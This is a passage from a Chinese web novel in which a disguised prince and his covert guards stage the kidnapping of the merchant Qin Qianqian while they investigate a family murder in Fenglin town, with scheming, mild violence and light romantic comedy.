季春霖的本意是不想滥杀无辜，可现在他却十分后悔这个决定，此举给自己和殿下带来太多的麻烦了。
“季春霖，脱离暗阁一段时日，不得不说，你倒是长出了菩萨心肠。”
白邵禾这话听得季春霖胆寒，他赶忙开口请罪：“属下不敢，此事了结后，属下一定给您一个交代。”
许是遮天蔽日的树林下，积腐树叶形成的瘴气能麻痹人的心神，越往树林里面走，季春霖越觉得自己上不来气。而白邵禾的下一句话，更是让他的心如坠冰窟。
“你最好祈祷秦千千什么都没有察觉，不然，恐怕黄忠和仲芷珍两颗人头不够用。”说到这里，白邵禾转头睨了他一眼，季春霖赶忙点头认罪。
元德看着远处挟持秦千千，跟她掰扯的三个人，眼神十分复杂。他知道殿下说过的话句句算数，可季春霖也是和他在暗阁中就结识的伙伴。
穆轩岚培养手下的暗阁，跟别的殿下最大的不同之处在于，他没有特意强调，暗卫间不能有推心置腹的关系。也就是说，哪怕身在暗阁，他们也可以结交好友。
只不过穆轩岚只有一点要求，那就是不能影响任务。
可现在季春霖的慈悲心肠，显然是一错再错了。因此，季春霖和元德都知道，殿下这次应该是很难饶他的。
不止他，肯定还有黄忠和仲芷珍。
白邵禾专心致志地看着远方的四个人，他们离得很远，他听不清那边在说什么。只见三个蒙面人面面相觑一会儿，就把秦千千眼上的黑布给解开了。不过她还是被捆在胳膊粗的树上，动弹不得。
“这才对嘛！说实在的，你们应该把你们头儿告诉我，只有我才能保住他的性命。”
眼看她都被劫持了，三个黑衣人不懂她为何还如此自信。中间那个挥着刀走上前，把刀架在她脖子上要挟她。
“少废话，赶紧告诉我们你老板在哪！不然，我直接提刀杀了你！”说罢，他就往秦千千脖子方向收一寸刀，那寒光四射的剑锋抵上她的脖子，搞得秦千千都不敢大声说话。
“等等！你回去告诉你主子穆元基，我说了不能给那就是不能给！”
那三个人先是一愣，而后什么也没说，既然她猜错了，那他们就将错就错吧！为首的勇杰决定给她一点教训，他快速收回宝剑，随手挽了个剑花，把剑背在身后。
秦千千本来还乐呢，可察觉到脖子处痒痒的，好像有什么往下淌，她大惊失色地骂了一句，你大爷的！
可她双手被反绑在身后，根本不能捂住自己的伤口，她低头看到血迹
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缓缓从脖子流下，除了一腔怨怼，她什么也做不了。
“有本事你砍死我算了，你能找到人算你有本事，来啊！”
原本她怒火中烧，朝那三个人大吼。可吼道一半她才想起，主人说过发怒会让人气血翻涌，血流如注。因此她突然降低声音，尽量平复下去心情。
勇杰知道她没那么好审讯，反正这次黑锅已经甩给五王爷了，那就索性再下手狠点。勇杰又想起离京前，殿下交代的原话是，只要不把秦千千折腾死，那就都没问题。
他继续提着刀上前，秦千千歪头朝后面喊了一声：“穆轩岚，管好你手下！”
三个黑衣人纷纷转头，看到背后没人后，才察觉被耍了。勇杰恼羞成怒，举起刀就准备砍过来。
白邵禾本就在往这边赶，就要接近这里的时候，听到她大喊一声“穆轩岚”，把他吓得虎躯一震。
完了，这下秦千千绝对猜出不对劲儿了。
于是他加快步伐，在树林间飞跃。元德跟在后面也丝毫不敢怠慢。至于季春霖，他与白邵禾分道扬镳，在暗中接应那三个人了。
眼看黑衣人的刀就要砍过来，胆大如秦千千，她也着实有点害怕了。她闭着眼睛往右边躲了一下，就在她闭眼的瞬间，白邵禾甩出袖中的铁球，朝勇杰飞了过去，正正打在他持刀的手腕上。
手腕吃痛，但他抓紧了刀，往反方向使力。听清有人来，再加上看到地上掉落的黄豆大小的铁球时，勇杰来不及放狠话，直接带着两个兄弟跑路了。
秦千千死死盯住他们离去的方向，白邵禾与元德从树林里跳出来，她都没太惊讶的。
跑到她面前后，白邵禾佯装去前面调查，可他压根就没打算追，往前走了两步后就回来了。
元德抽刀砍开绳子后，秦千千赶忙上手捂住自己的脖子，白邵禾关切地歪头查看她的伤势，谁知她完全没在意他真切的演技，着急地看向远处。
“快快快，你们现在追，一定追得上！”
“还是先把你的伤口处理一下吧，这血……”白邵禾肆无忌惮地皱眉，因为他知道，现在皱眉只会显得他格外关心秦千千，而不是不满她不听自己的话。
秦千千用力抹了一下自己的脖子，低头看了一眼手上鲜红的血，对此不甚在意：“哎呀，快走吧，待会儿人真的跑没影了！我得抓住他们，问问穆轩岚派他们来干什么。”
说罢，她提着裙摆，捂着脖子就朝那个方向跑。白邵禾元德心中一紧，但还得陪她逢场作戏，佯装急切地往那个方向追去。
可耽误这点功夫，白邵禾心知肚明，肯定早就追不上那三个人了。
于是，在他又一次要劝秦千千的时候，那个又奔袭一炷香的人，就这么毫无征兆地晕倒了。白邵禾长手一揽，算是没让她倒在地上。
谨慎起见，元德跟白邵禾用眼神沟通，还是先回客栈。不过白邵禾看着她还在渗血的伤口，只得把她放下，先行处理伤口。
55. 事情的真相
白邵禾抱着她会客栈的时候，正巧遇到坐立不安的晏信，看着秦千千被打横抱进来，胸前都是红褐色的血迹，他更紧张了。晏信赶忙去拉王老怪，让他过来给她看病。
“这是怎么回事儿？”王老怪指着楼上，示意白邵禾先把人抱上楼，转头询问元德：“你们不是在现场查东西，秦千千不是在王家吗？你们怎么掺和到一起了。”
元德也着实没想到，这都什么时候了，他还关注这些细枝末节的事情。可今天的事情又说来话长，他一脸为难地开口：“王老怪，你还是先去给老板看看身体吧，这事儿待会儿再说。”
晏信也是急得不行，他走在后面嫌弃王老怪走的太慢，就在后面推着他上楼。
本来在屋中休息的郁春儿，听到动静出来查看，结果被浑身血的秦千千吓了一跳。她赶忙跟去隔壁，却站在最远处，不敢靠近。
可眼下那边，王老怪在给秦千千检查伤势，白邵禾、元德守在床前等消息，晏信那更是急的像热锅上的蚂蚁，恨不得自己躺在床上替她受罪，没有一个人能过来安慰一下她。
王老怪收起搭在她脉搏上的手，又捏着她的下巴，让她微微偏头，露出左颈上的伤口。不一会儿，就抬头让他们都不用担心。
“要我说，这一刀明显是恐吓她的，这个深度不会致死，但会让血汩汩流淌，看起来十分可怖。”说到这里，王老怪噗嗤一声，笑了出来，“至于她晕倒，那只是缺血后气血不足，这才昏过去而已。”
看着秦千千的“自己人”都这幅吊儿郎当的样子，白邵禾就知道，她这伤势的确没什么大碍。彻底放下心来后，他这才注意到站在远处的郁春儿。
王老怪上手摸了一下伤口边缘的皮肉，不由得啧啧称奇：“这丫头真知道对自己好啊，这白艿粉可是个金贵东西，她这早就给自己上好药了啊！”
这话则是让白邵禾茅塞顿开，他们给秦千千的伤口上撒了金创药，可在此之前，她的伤口已经不怎么流血了。
他细细回想，发现应该是她被松绑后，用力抹了一下自己的脖子，那个时候，她应该就是在给自己上药吧。
她还真是个非常心疼她自己的机灵鬼啊！
晏信长出一口气，只要人没问题就好。王老怪也准备下楼，找个中药铺子给她熬些补血的药。路过郁春儿时，他猛地想起一件事儿。
“春儿，待我们出去之后，你帮忙把她的衣服换了吧。”
郁春儿点头，白邵禾他们也自觉出门。他们刚走到门外，王老怪就火急火燎地下楼，只留了个背影给他们。
白邵禾看得明白，他虽说平时吊儿郎当的，但其实还是很紧张秦千千的。这也侧面印证了他的猜测，王老怪跟桑风雪一样，都是姜千秋派来保护她的人。
至于晏信……
“白公子，元德，你们在那边到底发生了什么？”晏信猛地拉住白邵禾的胳膊，白邵禾低头扫一眼他的手，晏信这才意识到自己失态了，赶忙松开了手。“抱歉。”
行动前，白邵禾他们计划好一切，包括借口。
“无妨。当时我和元德在正堂，也就是凶案现场驻足。千千说她要去后面看看，我们就随她去了。没一会儿我们就头昏眼花，被人用迷香迷晕了，再度醒过来的时候，千千已经不见了。”白邵禾说道。
为了万无一失，白邵禾与元德都在衣服上，洒了薄薄一层的迷药。防的就是王老怪的狗鼻子，谁知道他压根没空细究这些事情，忙着给秦千千抓药去了。
这借口用来糊弄晏信，白邵禾还觉得大材小用了。
晏信果然深信不疑，赶紧请他们进屋好好歇息一番。“那你们就先好好休息吧，我去照顾千千。晚些时候，咱们再一起讨论今天的收获。”
可白邵禾没空休息，他借口去找桑风雪，还是带着元德离开了客栈。实则是要去城外，去弄清楚，杀出来的黑衣人到底是谁。顺便问问，季春霖有没有盘问出来，李朗那边的事情。
这次季春霖的行动迅速，在白邵禾赶去时，两件事情都给了他完美的答复。
“公子，那一群匪徒是李家派来的人，他们只知道大少爷让他们杀了秦千千。正巧碰上我们的人劫走她，就跟我们缠斗了起来，想来个螳螂捕蝉黄雀在后。”
白邵禾看着眼前躺着的十一具尸体，高矮胖瘦各不相同，其中甚至还有一个身材臃肿的胖子。比起训练有素的杀手，他们更像是看家护院的门丁。
“共一十三人，除了两名活口，其余全在这里了。”季春霖一摆手，就有人拖出来那两个被折腾半死的人。
“别让他们死了，必要的时候，他们可是重要的人证。”白邵禾吩咐下去，眼神却已经飘到了远处。
季春霖立马继续汇报，李朗、安含玉以及梁平乐的情况。
他们的人佯装山匪绑了这两路人，可他们的反应简直是天差地别。
李朗一改爱妻形象，甚至要把安含玉推给山匪，以求自己活命。至于那安含玉，却是十分平淡地接受了这件事儿。另一路的梁平乐更是奇怪，她一心求死，还说什么要为自己的儿子赎罪。
在三方逼问中，季春霖拼凑出了真相，一段掩盖在繁华之下的真相。
故事要从梁平乐母族出事开始说起。
梁家一个商贸巨贾，突然被人向朝廷检举贩卖私盐，这可是抄家的重罪。
这件事情白邵禾有些印象，当时检举的人物不明，但提供的人证物证都相当完备，因此没多久，梁家就被抄了家。
梁平乐的悲惨遭遇，就是从这时开始。那些悲惨部分，跟二少爷李思源说的差不多，只不过梁平乐直接道出了另一个真相。
“其实李朗最喜欢的孩子，不是李思清也不是李思源，而是安含玉生的一个女儿。那女儿天资聪颖、又十分懂事，因此自小就非常受宠。据梁平乐说，李朗曾放言，他未来的家业全都是给女儿李瑶瑾的。只可惜，这个女儿亡故了。”
听到这里，白邵禾大为震惊，所以之前李朗不让别人讨论女儿亡故的事情，那仅仅是因为爱女心切。至于那劣根李思清和撒谎成
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性的李思源，都不是什么好东西。
季春霖继续往下说，都说人是会爱屋及乌的，李朗就把对女儿的喜爱，转移到她哥哥李思清身上。
可惜李思清烂泥扶不上墙，整日眠花醉柳的，李朗只能把另一个儿子当做替死鬼，来顾全李瑶瑾哥哥的面子。
元德顿悟：“看来这李思清，也就是沾了一母同胞的光。难以想象，这李朗究竟有多爱他的这个女儿。”
“就是因为太爱，惹人妒忌，致使有人亲手致使她的惨死。据李朗所说李思清在妹妹还小的时候，带她出去，结果不小心把妹妹弄丢了。”季春霖微不可查地叹了口气，“可梁平乐那边却说，是自己儿子李思源，谋划的这件事儿。因此，她才说自己要流放自己去替儿子赎罪。”
说到这里，季春霖表情为难。按照往常规矩，他们调查是要直接给出一个明确的结果的，但现在他没办法做出任何一个判断，所以只能把两边的说辞和盘托出。
白邵禾如梦方醒，一切事情他都想明白了。
想必那个卯正时分，就是当初他们弄死妹妹的时间。而李思源近期就是拿这件事儿，拿捏李思清，让他对自己俯首称臣的。
可他为什么隐忍多年，现在才要挟李思清，白邵禾却始终都想不明白。不过他能回推李思源的动机。
李思源的如意算盘从李瑶瑾还在的时候，就开始谋划。他原本计划，只要弄死李瑶瑾，他就能在家里有一席之地。毕竟从品行德行，他都是要强于废物哥哥李思清的。
再加上他早早谋划好，把杀害妹妹的锅，也推到了李思清身上。可他小看了李朗的执念，哪怕李瑶瑾死了，继承家业的美事儿也轮不到他。
元德不解地问：“公子，你怎么知道梁平乐和李朗的说法是否真的正确呢？”向来最要求严谨的人，怎么会突然轻信那两句证言。
白邵禾神情有些许讶异，又有一些无可奈何。他看了眼元德，而后沉声给他分析起来。
“试问，李瑶瑾九岁的年纪，另外两个也就差不多是这个年龄。他们能做出什么天衣无缝、掩人耳目的局？再加上李朗多年的雷霆手段，他一定能把事情查的七七八八。”
李思源唯一聪明的地方，那就是把所有事情全推给傻瓜哥哥了。要不然，但凡被李朗知道有他的参与，一定会打死李思源的。
“因此李朗说的消息，就是他这些年查出来的真相，止步于李瑶瑾哥哥的真相。而梁平乐那边就更是好说，李思源对她是真的孝顺，而且看得出来，这个娘亲也是疼爱儿子的。”
梁平乐或许就在前不久知道了事情的真相，于是她决定替儿子赎罪，这才决定离家远去。
这恐怕就是李思源，主动招惹秦千千她们的一个原因：冒着暴露的风险，也要寻得自己娘亲。
“可究竟是谁，知道真相，却选择瞒了这多年。近来才告诉了梁平乐，导致她的离家呢？”元德疑惑，一旁的季春霖也在沉默。
白邵禾眼神晦暗，除了安含玉，还能是谁有这手眼通天的本事。
56. 穆轩岚浮出了水面
元德和季春霖几乎不敢相信，但细细想来，殿下这个猜测也不无道理。若不是元德和王老怪亲自去查，元德根本不敢相信，那个安含玉是品德良善之人。
或许，她正是因为心地善良，才会为了梁平乐唯一的孩子，瞒下事情的真相。
“目前的情况是这样，但秦千千那边没有找出证据，因此依旧要扣住李朗他们。必要的时候，再放他们回来揭露真相。”白邵禾吩咐季春霖。
他口中那个“必要的时候”，季春霖不知道是什么意思，只得先应承下来。但元德清楚，殿下是怕秦千千查不出线索，总不能一直待在枫林镇吧？
白邵禾心中，其实非常厌恶枫林镇。在这里，三东家中的两位，都把秦千千奉为座上宾。她在枫林镇可谓是如鱼得水，毫无性命之忧。
以秦千千的性命逼姜千秋现身的事情，在枫林镇就没办法进行。今日的劫持若不是临时起意，那必定会被王张两家的人制止。
可秦千千也不是真的蠢货，白邵禾不敢把李家的真相光明正大的放出去。万一被她察觉到什么，势必会牵连到穆轩岚。
白邵禾至今还没想明白，今日她咬定那三人是穆轩岚的人，究竟是怎么判断出来的。
勇杰被叫上来跟他汇报，勇杰跪在地上也是一头雾水，她明明前面还在说他们是穆元基的人，谁知后面却突然反水……
“她叫了您的名讳，我们没反应过来，就上了套。”勇杰十分懊悔地说。
“这种错误下次再不能犯了！”元德严肃地呵斥他。其实元德心里清楚，这种模棱两可的事情，哪怕秦千千起疑，也没有十足的证据。
于是他认为殿下不会过多纠结这事，事实也是如此，白邵禾交代季春霖看好手下的人后，就带着元德离开了。
而暗卫又得到消息，桑风雪和桃花花奔着外宅去了。因此，白邵禾他们就先一步在外宅等着。那两人看到现场没有秦千千，还一脸疑惑地问出了什么事儿。
元德三言两语跟她们交代清楚，就问她们那边发生了什么事情，怎么这么久才回来。
“说起这个我就来气！本来我们想着天色不早了，想着问完就赶紧回来跟你们汇合的。”桃花花双手掐腰，一副气不打一出来的样子，指着外面就骂了起来。“结果那李思源不是人，他找了一堆人来堵我们，还好桑姐姐能打，我们缠斗了一会儿，这不才脱身。”
白邵禾着实意外，他讶异于李思源做事如此不小心，连桃花花都看出来，是他派的人吗？
元德也有这个疑惑，他顺势问了她，“有什么确凿的证据，证明是李思源派的人吗？”
“为首的那个人，就是李家的官家李福来。他带着那些人冲进铺子，就让那些人活捉我们。”桑风雪表情有些厌恶，还回头看了一眼身后，“我们只是暂时摆脱追捕，他们还在追我们。因此，我们才没有直接回客栈。”
桑风雪的想法很简单，客栈搞不好只有晏信和王老怪在，再加上一个手无寸铁的柔弱女子郁春儿，对当前的局面没有一丝帮助，甚至有可能会雪上加霜。
但外宅这里就不一样了，虽说秦千千也是一点花拳绣腿的功夫都不会，但胜在机灵。再加上功夫了得的白邵禾与元德，解决那些个人，还是轻轻松松的。
果真没一会儿，整个院子就被几十人人合围。白邵禾秉承敌不动，我不懂的策略，负手站在门口，等人推开大门进来。
岂料推门而入的是李思源。
他面带愧疚地致歉：“真是不好意思，白公子！我手下的人不懂事，还以为这位小姐是去找茬的，毕竟这白玉膏的价格都低到泥土里了，没想到她们又拿了一罐去百般刁难掌柜的。”
说到这里，李思源不怀好意地看向她们，桃花花正要开口辩解，却被白邵禾抬手制止。
白邵禾心中冷笑，这李思源是察觉自己失态，赶忙过来找补，那就卖他这个面子吧。他觉得反正秦千千还不知道，这李思源做的孽，那他就装作什么都不清楚。
“无妨。所以我们现在可以回去了吧，李公子。”白邵禾权当不知道，外面守着几十号人。
这种各打五十大板的事情，那就没必要闹得鱼死网破。李思源知道自己现在处于下风，因此他也不敢追问，白邵禾他们为何出现在外宅。
白邵禾他们在调查死因这事儿是板上钉钉了，可调查到什么地步、有没有查到真相……这些事情，李思源却不敢探究。他现在甚至非常担心，他们抖落出他并非大少爷。
因为在他的构想中，自己是以受害者的角度站出来，迎接众人的怜爱和钦佩，而不是现在被人揭露、备受争议。
再无可奈何，李思源也得咬牙放走了他们。他们四个人一路上没有说话，回到客栈关上门后，桃花花才忿忿不平地开口抱怨。
“白公子，你们又不是打不过李思源，为什么不当场把他抓住，要挟他说出真相！”桃花花十分不解地看着白邵禾，气急攻心，以至于她都没第一时间去看昏迷的秦千千。
桑风雪进门就去看秦千千，而她正倚在郁春儿的怀里，头上胸前被施了针，晏信坐在床边目不转睛地看着她。
桑风雪一过来，晏信这才依依不舍地起身，给桑风雪腾地方。
王老怪听了两下这边的事情，不管事出何因，他都不赞成桃花花的说法。“桃花，查案不是这个样子的，万一你屈打成招了怎么办？所以还得讲证据呀！”
白邵禾微微颌首：“疑点没有变成实证，我们就没办法要挟他。”深深看了一眼桃花花后，他走向床边。
听到这话，桃花花直接泄了气，她知道自己是在意气用事，可她就是学不会忍气吞声。她越想越委屈，平时这个时候，秦千千都会想办法安慰她的。
她默默走到床边，看到脖子上包着白布条的秦千千，眼泪突然失控地掉了出来。跟她站并排的白邵禾，轻轻拍拍她的肩膀，什么也没说。
桑风雪察觉到她在抽泣，这才开口说她：“桃花，人总是要成长的，你今天看着她昏迷哭了，我不怪你。可下次她死在你面前
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，你也不能再哭出声了。”
这话听得白邵禾眉心突突直跳，她这话是什么意思？
难不成她们已经做好，秦千千会在巡商路上送命的准备了？
他立马否定这个想法，她不会死的，在交代出姜千秋的下落之前，他绝对不允许她死。
或许是金针起效了，亦或许是那话把秦千千气醒了，反正在他们愁眉不展的时候，她缓缓睁开了眼睛。无意识咳了两声后，她哑着嗓子说了第一句话。
“他大爷的！”
白邵禾啼笑皆非地摇头，看来是谁在梦里惹到她了。
周围的人都松了一口气，不管怎么说，醒了就好。元德默默转身去倒水，照顾病患的事情，他在暗阁做的还是很熟练的。
桑风雪虽然没表现出来，但白邵禾看得出来，她脸上紧绷的表情都缓和了很多。她一边接过元德递过来的水，一边跟秦千千说话。
“你这真是让人放心不下，一转眼就出事儿了。”
秦千千左手捂住自己的脖子，右手接过茶盏，来了个一口闷。“哎呀，你还真别说，最起码这次被劫持，不是一点收获都没有。”
她正兴致勃勃地准备往下说，却骤然发现屋里还有这么多人。白邵禾看她左右为难的样子，真怕她再被气昏过去。
“这样吧，我们先去吃饭，待会儿再来看你。”白邵禾提议。
稍微有点眼力的人都起身离开了，晏信却待在床边不走，王老怪和郁春儿只好半推半拉地把他弄走。而郁春儿也非常识趣地自行离开，留秦千千、桑风雪和桃花花在房间里。
桃花花自觉顶替了郁春儿的位置，她刚坐在床头，准备让秦千千依偎在自己怀里。
可坐下她才发现，自己比郁春儿矮了一截，桃花花抬头发现，秦千千正看傻子一样看着她。
要不是看着秦千千手还在捂着伤口，桃花花一定当场就跟她吵起来，把刚刚不被人理解的气愤撒到秦千千身上了。
“行了，你快告诉我，有什么收获。”桑风雪及时开口，制止了她们两个的针锋相对。
秦千千歪头看了眼房门方向，压低声音说：“还记得我之前说过的一股未知势力吗？我知道是谁的人了，是穆轩岚的人。”
对比劫匪听到两位王爷名讳的反应，秦千千不难判断出，那些就是穆轩岚的人。而在门外准备下楼的白邵禾，在嘈杂的声音中，还是听清楚了她的话。
他微不可查地叹气，千防万防，还是没有防住秦千千。看来，自己要加快接下来的计划了。
屋中的三人还在商议，直到白邵禾他们吃完饭换班，秦千千才有了跟白邵禾说话的时间。
“邵禾兄，刚刚的事情谢谢你。”
白邵禾知道，她是为刚刚自己为她开脱的事情道谢，他抿嘴摇头，表示这没什么。可转瞬间，他就满脸担忧地询问她，是发生什么事情了吗？
“千千，你是不是怕我们这些人中有内鬼啊？”
先发制人，也是白邵禾一贯的套路。
57. 也是牵上手了
秦千千看着屋中只有她们两个，就神秘兮兮地点头，还用口型问他，四周没别人吧？看到白邵禾点头后，她才放心地跟他分析。
“当初我去镇外蚌场的时候，当天有五股势力盯着我。”
白邵禾十分震惊，他没想到秦千千了解的一清二楚。这就更加让他确信，她跟她的线人，还是保持着联系的。一种在自己眼皮底下，却不被自己察觉到的联系。
秦千千掰着指头跟他分析，各股势力的来源。说到五王爷穆元基的时候，白邵禾一脸诧异，秦千千看他的表情，赶忙宽慰他。
“看来他还是没把这事情告诉你啊！不过你不用太难过了，他们这种位高权重的人，那都是一箩筐的秘密，两箩筐的心眼，你也别太放在心上了。”
白邵禾沉默不语，他就知道秦千千会中圈套，以为他在为穆元基对自己的背叛而悲伤。一切都按照他的想法进行，他轻松地顺水推舟，应承下来。
“真是世风日下，人心不古啊！不过千千，那案子接下来要从哪里入手查呢？”
白邵禾迫切地想要加快办案的进度，他得探知一下秦千千的思路，顺便在她无法进行的地方，提供一些帮助。
只见她略显苍白的嘴唇一勾，双眉微耸，满脸狡黠地笑着：“这就得麻烦你和元德、晏信了。”
从小为人正派习惯后，白邵禾都忘记特殊事情，可以用特殊手段了。因此，秦千千提出让他们夜探李府的时候，白邵禾失笑。
秦千千抬手拍了下他的肩膀，让他严肃点。
白邵禾啼笑皆非，居然有人警告他严肃点，这事儿还真是生平第一次。他百依百顺地点头，可他也说出了自己的看法。
“千千，可要是我们在那里没有查出线索呢？”
他清楚李思源的手段，按照他打小老谋深算的样子，他一定会把证据全都销毁了，不会留下任人拿捏的把柄。
更何况，秦千千现在还不知道李家女儿的事情。想到这里，白邵禾就头疼，他只希望秦千千赶紧查出真相，不能再像个无头苍蝇一样乱撞了。
“真到那一天的话，那就把李思源抓起来拷问！”秦千千一本正经地说出这胡话，让白邵禾不由得瞪大眼睛，歪头看着她。
她莞尔一笑：“骗你的啦，那像是桃花花能说出来的话。我就不信，还差不出他的底细了。最多五日，不管查不查的出来，我们都要走了。”
听到秦千千许下的最后期限，白邵禾这才彻底放下心来，看来她还是有分寸的。
许是皱眉牵动了额头的经络，稳稳扎在她额头上的针突然流起血来。秦千千觉得额头痒痒的，想伸手挠挠，却被白邵禾抓住了手腕。
“别动，我去叫王老怪。”
“这没什么大事儿，就是，就是……”王老怪收走了所有的金针，一根一根在烛火上燎烤，所有人都紧张地听他的下半句话，可王老怪就是吞吞吐吐的要说不说。
秦千千面色不悦地瞪着他：“你要敢说，是因为你下楼吃饭，忘记给我拔针，那我真的会让桑姐姐直接砍了你。”
只留给秦千千侧脸的王老怪，立马抿紧自己的嘴，剩下的人都哭笑不得地松了口气。
秦千千准备起来揍他，却被身后的白邵禾按住肩膀安抚，而那始作俑者王老怪，从床边的椅子上弹起来，立马跑到房间门口。
看到她被封印在原地，这才扶着门框长出了一口气。
白邵禾刚安抚住秦千千，无意间抬眼，就看到眼神复杂的晏信。不知为何，白邵禾总觉得他的眼神十分可怜。
像那种被人抛弃后的迷惘、不知所措，可又有两分固执在其中。那眼神看的白邵禾晃了下神，他突然低头看向秦千千，心中一阵不安。
白邵禾总觉得不能让她看到那个眼神，可他又不能捂住秦千千的眼睛。他只能眼睁睁看着，她往晏信那个方向转头，再后来朝晏信勾手，让他坐在自己床边。
“晏信，你怎么了？”秦千千语气关切地问他。
白邵禾不自觉地咬了下后槽牙，立马从她身后站了起来。原本是王老怪要取金针，担心她挣扎，所以他才坐在这里，负责按住她的。
现在处理完毕，自然该起来。
他骤然起身，带着只有元德察觉出的一丝愠怒。元德提心吊胆，生怕别人察觉出来不对劲儿。
“那我就先回屋休息了，折腾一天，我也有些乏了。”白邵禾找的借口还算说得过去，秦千千没有察觉到什么，她点头让大家都早些回去休息。
白邵禾出门前，还注意到晏信目不转睛地盯着秦千千，不用想他也知道，这人肯定又要跟秦千千表明心迹什么的。
他给元德递个眼神，元德立马心领神会。今天说什么，他也得留在这里，听完整她们聊的事情。可人算不如天算，秦千千由晏信扶着起床，她说下楼吃饭，边吃边说。
这下真的让元德难办，虽说那是在大庭广众之下，更好观察，但嘈杂的环境，让人很难听清她们说的话。再加上他刚吃完饭，也真不好腆着脸去上桌吃饭。
他飞速转身去跟白邵禾汇报，白邵禾正在床上打坐，闭目养神。听到他的话，白邵禾也没有睁开眼睛，而是语气平淡地说他知道了。
顷刻后，白邵禾缓缓睁开了眼睛，他眼神清明地说：“管她们聊什么，跟我们的任务没有一点关系。”
“不是吗？”
元德不敢说什么，但他总觉得今晚的殿下怪怪的。往常，殿下说话是不会多加赘述的，就比如一些反问句。殿下之前还常常教导他，那些毫无意义的喃喃自语，都是无病呻吟、欲盖弥彰。
……
察觉到自己在想什么大逆不道的事情后，元德咬紧牙关，生怕被殿下发现什么，好在白邵禾又缓缓闭上了眼睛。
元德识趣地默默退出房间，正好王老怪在对面门口喊他，元德立马过去。反正监视秦千千无望，那就去监视剩下的人吧。
比起平时每顿七八个菜的餐食，秦千千现在吃的那叫一个质朴。
白菜炒豆腐、清炒黄豆芽、加上一盘凉拌木耳，就是秦千
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千全部的菜品。
不说吃，光看就把晏信看的清心寡欲的，而她却吃的欢快，仿佛在吃什么珍馐美味。
“千千，要不我出钱，再给你点一些菜吧？”晏信一把按住她夹菜的手，实在忍无可忍地说。
秦千千忍不住笑出声：“无关钱财，你没发现我这个人吃素禁酒吗？”
若不是她说，晏信还真没发现。主要平时吃饭都在一个桌子上，哪怕他再关心她，也的确没有意识到这一点。
看着他震惊的表情，秦千千哈哈大笑。亏她之前还觉得这是个胸有城府的人，现在看来，胸有豆腐才差不多。
想到这里，秦千千夹起一块儿豆腐，递到他嘴边。晏信一脸错愕，但还是立马歪头吃了那豆腐。看她笑吟吟的，虽然不知道她在乐什么，晏信也跟着开心。
可居高临下看着她们的白邵禾，不屑一顾地瞥了她俩一眼，而后一改前进方向，朝着楼下走去。元德站在原地无助地眨眼，他原本是请殿下去隔壁商讨案件的，可……
算了，殿下决定的事情，谁都无法更改。
“你不是要找我说什么事情吗？”秦千千放下筷子，专心地看着他。
“我没……”
“少辩驳了，你那眼神就是找我有话说。你要是没话说的话，那你走吧，我要吃饭了。”秦千千绝不惯着任何一个人，一套招式下来，晏信只好认输。
“是，我的确有事情找你，其实是那天……”
晏信刚开口，他和秦千千的余光，都看到了一个人站在她们中间。
一转头，原来是白邵禾。
“邵禾兄，你不是去休息了吗？”晏信不解地问他。
白邵禾不知所措地咳了一声，“就是突然觉得我有些渴了，想来讨点酒喝。”
他看着秦千千夹了口菜，就知道自己安全了。毕竟晏信好糊弄，而她一吃饭脑子就不转了。
白邵禾坐在她左手边，抬手斟酒。
到第三杯时，晏信开口提醒他：“千千不喝酒，你别多倒了。”
自己怎么忘了这一茬？
白邵禾面不改色地感叹此事，仿佛他之前没听过秦千千说一样。反正那次她只告诉了自己，只要秦千千不揭穿他，那就没问题。
“原来千千不……”秦千千转头看了他一眼，白邵禾突然有些心虚，但也只好强壮镇定地说下去：“不喝酒啊。”
单纯的晏信完全没看出什么不对，他啧啧感叹：“不止呢，她还不吃肉。”
这话说完，轮到白邵禾若有所思地看着她了。
他可记得清楚，遇见晏信的那天早上，秦千千在那个包子铺吃了一屉的肉包子！
秦千千面露难色地看着他，皱眉摇头，生怕自己揭她的底。
白邵禾右手撑在靠近她的板凳边，秦千千毫不犹豫地又夹了一筷子白菜，塞给晏信吃。左手则是精准无误地搭在白邵禾手上，使劲攥了一把他的手。
他心中啼笑皆非，谁家求人是这个态度的？这怎么看都像是胁迫好吧！
58. 惊弓之鸟秦千千
“咳咳。”白邵禾故意起了腔调，看着秦千千如惊弓之鸟一般猛地转头，他就忍不住想笑。不过，最后还是忍住了。“今日这酒，着实不错！”
说罢，他意味不明地朝秦千千挑了下眉，她立马眼神躲闪地点头。
晏信右手撑着脸看秦千千，她现在看起来好像很累，那自己的话，就先别说了吧？他善解人意地提议，让她好好吃饭，至于他想说的事情，改日再说。
在他走后，秦千千目送他上楼，直到看不见人影后，她才长出了一口气。白邵禾有些惊讶，她看起来很是紧张？
“你为什么要骗他？”
秦千千开始为自己辩解：“那不叫骗，那只是转移话题而已。我若是不跟他说些别的，他就要跟我谈那些情情爱爱的事情。”
她一想到这些事情，就一个头两个大。上次她直白拒绝晏信，可晏信蔫吧了两天，她是真怕晏信积郁成疾，再给气出个好歹来。
“再说，看他那闷闷不乐的样子，我心里也不好受。但我暂时没有想出好办法来，只能先往后拖延一下了。”
听她这么说，白邵禾就都懂了。
懂她为什么选个人多的地方聊天，不是为了别人不好听墙角，而是为了堵住晏信的嘴；懂她为什么胡言乱语骗人，估计那时候是慌不择言，想到什么说什么了。
“不过，你这些菜的确是素的可以。”白邵禾发誓，他真的没见过这么素的菜。
不过话音刚落，小二就端来一汤盆的清炖鸡。
秦千千无所谓地撇了下嘴，“吃的嘛，意思意思得了。对了，你们在楼上聊出什么结果没有？这一天不查出结果，我真是寝食难安啊！”说着，她又喝了口清炖鸡汤。
她还是很关心探案进程的，虽说她不好明说，让白邵禾他们今晚就去夜探李府。但她可以旁敲侧击地点他嘛，秦千千相信，按照白邵禾的聪慧程度，一定能听懂自己话中的意义。
白邵禾低眸沉思，看着杯中的清酒，对秦千千的话一副充耳不闻的样子。
秦千千怎么不懂人情世故，她赶忙拿起桌上的空碗，给他盛了一碗鸡汤。还殷勤地双手捧放在他面前，“邵禾兄，这鸡汤鲜美无比，你快尝尝。”
他勉为其难地拿起调羹，喝了一口。抬眼看秦千千的时候，发现她那一脸小心机的样子，简直昭然若揭了。
白邵禾也不想多吊着她，毕竟这祖宗的脾气，能好言好语跟自己商量，还来恭维自己，已经是超乎他的意料了。
“嗯，一般般。”这话他说的还真是实话，他自小就是锦衣玉食，吃穿用度都是极尽奢华，这种勉强果腹的东西，实在入不了他的法眼。
可这话让秦千千听起来，那就是在婉拒自己的提议。她微微撇嘴，表情有些微妙。白邵禾却又盛起一勺汤，勺子悬停在碗边不动。
